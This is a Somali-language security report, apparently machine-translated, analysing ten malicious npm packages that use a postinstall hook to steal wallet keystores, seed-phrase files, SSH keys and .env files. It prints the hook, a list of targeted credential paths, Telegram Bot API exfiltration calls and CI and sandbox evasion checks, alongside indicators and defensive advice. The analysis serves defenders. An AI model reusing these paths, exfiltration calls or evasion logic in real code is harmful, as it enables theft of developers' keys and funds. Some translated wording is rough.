TL, DR
9kii Juun 2026 akoon daabace npm ah oo keliya, aicrypto-xzggg, la diray toban xirmo oo leh magacyo macaan oo crypto- iyo Web3 ah — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, iyo lix kale.
Xidhmo kasta waxay ku shaqeysaa culays isku mid ah oo ka imanaya postinstall Marka la rakibo, waxay hubisaa inay ku shaqeyneyso gudaha CI ama sanduuq ciid ah - haddii kale, waxay akhrineysaa keydka furaha boorsada, faylasha weedhaha abuurka, furayaasha SSH, iyo .env Faylasha ka kala yimid lix nidaam oo blockchain ah waxayna u gudbiyaan bot Telegram ah.
Tilmaamaha kaliya ee uu difaacu isla markiiba raadsan karo waa aqoonsiga bot-ka Telegram 8227918239.
Darnaanta: muhiim ah — xatooyo toos ah oo furayaasha saxiixa iyo weedhaha soo kabashada laga bilaabo goobaha shaqada ee horumariyayaasha.
Weerarkii: Sida uu u Shaqeeyo
Xirmooyinka waxay isku xayeysiiyaan inay yihiin adeeg horumariye blockchain ah. xirmo.json waa mid aad u yar waxayna tilmaamaysaa wareegga nolosha rakibidda qoraal:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }qoraallada/postinstall.js waa shim hal-sadar ah oo culayska dhabta ah saaraya: u baahan ("../src/index.js"). Sababta oo ah postinstall si toos ah ayuu u shaqeeyaa inta lagu jiro rakibaadda dharka, looma baahna soo dejinta koodka ee uu sameeyay horumariyaha — dhigista baakadka geed ku tiirsanaan ayaa ku filan in lagu fuliyo.
Silsiladda dilka ee gudaha ku jirta src/index.js waa afar tallaabo:
- Hubinta deegaanka. Shaqada ilaalada ayaa go'aamisa in martigeliyaha uu u eg yahay wakiilka dhismaha ama sanduuqa ciidda falanqaynta.
- Dib u dhac Fulinta dib ayaa loo dhigay gadaashiisa setTimeout qiyaastii 7.4 ilbiriqsi.
- Ururinta. Liis go'an oo ah wadooyin boorso, fure, iyo faylal qarsoodi ah ayaa la socdaa; faylasha jira safka ayaa la geliyay.
- Sifeynta. Faylasha safka ku jira waxaa loo diraa bot Telegram ah, ka horna waxaa ka horreeya farriin kooban.
Liiska bartilmaameedka ururinta wuxuu ka kooban yahay lix silsiladood iyo sirta horumariyaha guud. La jaray:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localWadarta kow iyo labaatan waddo. Diiwaanada hagaha sida ~/.ethereum/keystore waa la ballaariyay fayl kasta oo gudaha ku jirana saf ayuu ku jiraa. Shaandhaynta waxay si toos ah u isticmaashaa Telegram Bot API - a dir Fariin wac martigeliye oo fayl garee soo koobid, ka dibna a dirDocument Soo gelin qaybo badan leh fayl kasta:
text
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Fariinta kooban ee koodhku soo ururiyo waxay ka bilaabataa xarigga dhabta ah KHATARA CRYPTO AH, oo ay ku xigto magaca martida, magaca isticmaalaha, magaca xirmada asalka ah, tirada faylka, iyo shaabadda waqtiga.
Maxaa cusub halkan
Kala-soociddu maaha habka xatooyada — Exfil oo ku salaysan Telegram laga bilaabo npm postinstall hooks si fiican ayaa loo socdaa. Waa albaabka fulinta. Kahor inta aan wax la qaban, culayska lacagta la bixiyay wuxuu ugu yeeraa shaqo run soo noqota marka martigeliyaha uu u ekaado orodyahan CI ah ama sanduuq ciid ah, wuxuuna soo noqdaa goor hore marka uu sameeyo:
text
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Xeerka konteenarrada-id waa qodobka la xusi karo: magaca martida ee 12-hex-xaraf leh waa qaabka caadiga ah ee Docker u qoondeeyo a weelka, sidaa darteed culayska lacagta la bixiyay wuxuu ula dhaqmaa "magaca martigeliyahaygu wuxuu u eg yahay weel Docker ah" sabab loogu sii nasto. Marka lagu daro dib u dhaca toddobada ilbiriqsi ah, naqshaddu waxay doorbideysaa inay ku shaqeyso goobta shaqada ee dhabta ah ee horumariyaha iyo inay aamusnaato meel kasta oo u eg falanqaynta otomaatiga ah. Albaabkaas ayaa ah waxa xaddiday calaamadaha falanqaynta firfircoonida waxayna ilaalisay socodka exfil-ka ee taagan inuu noqdo caddaynta xukunka aasaasiga ah.
Jadwalka
Tobankiiba waxay soo baxeen qiyaastii toddobaatan daqiiqo gudahood, iyadoo la raacayo hal daabacaad oo qoraal ah oo laga soo saaray hal akoon.
Tilmaamayaasha Tanaasulka
Tilmaamaha shabakadda iyo dhaqanka (martigeliyaha la diiday):
Xirmooyinka iyo noocyada, mid walba oo leh SHA-256 src/index.js culayska mushaharka (lacag-bixinta waa isku mid waxayna ku kala duwan yihiin oo keliya sumadda magaca xirmada ee ku dhex jirta, sidaa darteed xashiish kastaa waa kala duwan yahay):
Su'aal ugaarsi fudud: raadi diiwaanka rakibaadda iyo faylasha qufulka mid ka mid ah tobanka magac, oo ka raadi taraafikada dibadda si aad u hesho xiriiro ku saabsan Telegram Bot API oo ka imanaya martigeliyeyaasha dhismaha ama horumariyaha ee aan si kale u isticmaalin.
Dhaqanka la arkay iyo tilmaamaha
Tobanka xirmo oo dhan waxaa lagu daabacay hal akoon, acrypto-xzggg, oo emailkiisa la sheegay uu yahay vipsyria88@gmail[.]comLabada email iyo xiriirka xakamaynta isha laguma xaqiijin xogta diiwaanka, akoonkuna wuxuu leeyahay sumcad xun oo aad u xun. Ma xaqiijin cidda maamusha akoonka.
Laba faahfaahin ayaa mudan in laga sooco sheegashada aqoonsiga. Marka hore, xirmo.json qoraaga akhrinta goobta Alex Smith xirmo kasta, halka akoonka daabacaadda dhabta ahi uu yahay acrypto-xzggg; goobta qoraagu waa metadata iskeed isu sheegtay mana dhidibayso qoraannimada. Marka labaad, tirooyinka nooca si weyn ayay u kala duwan yihiin - qaar ka mid ah xubnaha ayaa ku fadhiya 1.0.0, kuwa kale oo ku sugan 4.68.54 - taas oo la jaanqaadaysa dib u isticmaalka hal culays oo ku saabsan magacyada xirmooyinka cusub ee la sameeyay halkii laga ilaalin lahaa taariikhda sii deynta dhabta ah.
Habdhaqanku waa isku mid kooxda oo dhan: liiska wadada bartilmaameedka ah ee isku midka ah, lambarka bot-ka Telegram iyo lambarka sheekaysiga isku midka ah, albaabka deegaanka isku midka ah, isku mid KHATARA CRYPTO AH calaamadeeyaha. Isku mid ahaanshahaasi waa isku xirka ugu xooggan ee u dhexeeya xirmooyinka. Waa calaamad isku mid ah oo hawl-wadeen ah, ee maaha aqoonsi.
Saamaynta, Isbeddellada & Hagitaanka Difaacayaasha
Soo-bandhigiddu waa mid la taaban karo. Horumariye kasta oo ku rakiba mid ka mid ah xirmooyinkan goob shaqo oo haysa boorso software ah, fayl abuurka weedha, ama furaha SSH ayaa faylashaas ka akhriya oo ka gudbiya martida ilbiriqsiyo gudahood. Weedhaha soo kabashada iyo furayaasha saxiixa ma dhacaan sida calaamadda fadhiga u dhacdo; marka mnemonic.txt ama Solana id.json Ka tagista mashiinka, lacagaha ay maamusho waxay halis ugu jiraan ilaa laga raro. Orodkaas oo kale ayaa sidoo kale qabta .env faylasha, kuwaas oo si joogto ah u wata furayaasha API iyo aqoonsiga xogta.
Laba isbeddel ayaa ka dambeeya kooxdan. Tan koowaad waa isticmaalka joogtada ah ee magacyada crypto-iyo Web3-ka ah si loo soo jiito dhagaystayaal gaar ah - horumariyayaal ku haya boorsooyinka iyo furayaasha isla mashiinka ay ku rakibaan ku tiirsanaanta. Tan labaad waa bislaashada ka-baxsiga sanduuqa sanduuqa ee culaysyada waqtiga rakibidda. Albaab hubiya doorsoomayaasha deegaanka CI, isticmaaleyaasha orodka, iyo qaabka magaca martida ee Docker waa dadaal ula kac ah oo lagu dhaqmayo si ka duwan falanqaynta marka loo eego goobta shaqada ee dhabta ah, waxayna kor u qaadaysaa heerka ogaanshaha firfircoon ee keliya.
Difaacayaasha:
Ku rakib iyadoo qoraallada la joojiyay si caadi ah. rakibidda npm –ignore-scripts, ama deji ignore-scripts = run in .npmrc, ka hortagtaa postinstall fulinta; awood u yeelo qoraallada oo keliya ku-tiirsanaanta gaarka ah ee si dhab ah ugu baahan.
Boorsooyinka iyo furayaasha saxiixa ka ilaali mashiinnada dhismaha iyo horumarinta. Isticmaal boorso qalabaysan ama martigeliye saxeex oo u gaar ah oo aan ku tiirsanayn.
daawee .env, keydka furaha, iyo faylasha weedhaha abuur ahaan sida jawharad taaj ah. Waa inaysan waligood ku jirin tusaha sidoo kale ah rakibaadda dharka geed shaqo.
Raadi xiriiro dibadda ah oo ku socda Telegram Bot API oo ka imanaya CI iyo martigeliyeyaasha horumariyaha. Deegaannada dhismaha badankood waligood ma sheegaan; mid si lama filaan ah u sameeya, isla marka la rakibo, ayaa mudan in la baaro.
Ku tiirsanaanta iyo dib u eegista. Xirmo cusub oo leh magac guud oo crypto ah, a postinstall jillaab, oo ma jiro xiriir kayd ah oo u baahan in la eego ka hor inta uusan gelin faylka qufulka.
Qodobka ka-baxsiga konteenarka ayaa sidoo kale xusuusin u ah falanqeeyayaasha: culayska waqtiga rakibidda oo ku sii nasanaya sanduuqa ciidda ma aha mid aan fiicnayn, waa mid xulasho leh. Dib u eegista joogtada ah ee waddada rakibiddu waxay weli tahay habka lagu kalsoonaan karo ee lagu arki karo fulinta firfircoon ee laga yaabo inay hoos u dhacdo.
tixraacyada
Dukumentiyada rakibida npm - qoraallada wareegga nolosha iyo –Ildir-qoraallada- tixraac si loo joojiyo rakibidda otomaatiga ah hooks.
